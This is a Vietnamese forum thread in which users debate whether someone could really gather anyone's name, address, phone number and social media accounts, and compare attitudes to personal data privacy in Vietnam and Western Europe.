Không phải là "chắc nó chừa mình ra" mà là chắc chắn "nó không nói về mình". Nó nói về người khác. Nhưng điều đó có nghĩa là nó có khả năng nắm hết: "là ai, nhà ở đâu, số đt, fb, zalo" của bất cứ người nào. Thế mà không nhột à? Khác gì mình trần như nhộng, không có gì che chắn, bảo vệ. Sợ lắm ai ơi cái cảm giác người ta biết hết khi nào mình ăn gì, làm gì, đi với cô tiếp viên karaoke "ngoài luồng" khi nào, bay lắc ở đâu, lô đề khi nào ...

leonguyenz · 15/10/19

batman1 đã viết:
Không phải là "chắc nó chừa mình ra" mà là chắc chắn "nó không nói về mình". Nó nói về người khác. Nhưng điều đó có nghĩa là nó có khả năng nắm hết: "là ai, nhà ở đâu, số đt, fb, zalo" của bất cứ người nào. Thế mà không nhột à? Khác gì mình trần như nhộng, không có gì che chắn, bảo vệ. Sợ lắm ai ơi cái cảm giác người ta biết hết khi nào mình ăn gì, làm gì, đi với cô tiếp viên karaoke "ngoài luồng" khi nào, bay lắc ở đâu, lô đề khi nào ...

Có thể bác ấy đã nắm rõ "là ai, nhà ở đâu, số đt, fb, zalo" của một người đã vô tình để lộ thôi, chứ "có khả năng nắm hết" "của bất cứ người nào" thì nói quá rồi.

batman1 · 15/10/19

leonguyenz đã viết:
Có thể bác ấy đã nắm rõ "là ai, nhà ở đâu, số đt, fb, zalo" của một người đã vô tình để lộ thôi, chứ "có khả năng nắm hết" "của bất cứ người nào" thì nói quá rồi.

Nếu tôi không biết chắc khả năng của bạn tới đâu thì tôi không thể chắc chắn là bạn sẽ không làm được XYZ.

Khiêm nhường thôi.

VetMini · 15/10/19

batman1 đã viết:
Không phải là "chắc nó chừa mình ra" mà là chắc chắn "nó không nói về mình". Nó nói về người khác. Nhưng điều đó có nghĩa là nó có khả năng nắm hết: "là ai, nhà ở đâu, số đt, fb, zalo" của bất cứ người nào. Thế mà không nhột à? Khác gì mình trần như nhộng, không có gì che chắn, bảo vệ. Sợ lắm ai ơi cái cảm giác người ta biết hết khi nào mình ăn gì, làm gì, đi với cô tiếp viên karaoke "ngoài luồng" khi nào, bay lắc ở đâu, lô đề khi nào ...

Khác với người Tây Âu, người VN rất ít tôn trọng cái gọi là dữ liệu cá nhân.
Ở Tây Âu, kẻ "nắm hết chi tiết cá nhân" được coi là làm bậy.
Ở VN, kẻ "nắm hết" này được tôn vinh là tài giỏi, đáng phục.

leonguyenz đã viết:
Có thể bác ấy đã nắm rõ "là ai, nhà ở đâu, số đt, fb, zalo" của một người đã vô tình để lộ thôi, chứ "có khả năng nắm hết" "của bất cứ người nào" thì nói quá rồi.

Bạn nghĩ vậy, nhưng chưa chắc người khác đã nghĩ vậy.
Mấy nhơn vật này vẫn tự khoe mình coi cái còm pu tơ như đồ bỏ, muốn làm gì cũng được mờ.

Nhờ các bạn xem và đoán thử.

Mới rờ Ét xeo

I don't program, I beat code into submission!!!

Ăn cùng góc phố

|||||||||||||

Mới rờ Ét xeo

Thành viên gạo cội

I don't program, I beat code into submission!!!

Mới rờ Ét xeo

Thành viên mới đăng ký

Thành viên gắn bó

(/ội...

Thành viên hoạt động

(/ội...

Ăn cùng góc phố

Trùm Nhiều Chuyện

(/ội...

Thành viên gạo cội

Thành viên gạo cội

Thành viên gạo cội

Ăn cùng góc phố

Facebook

Group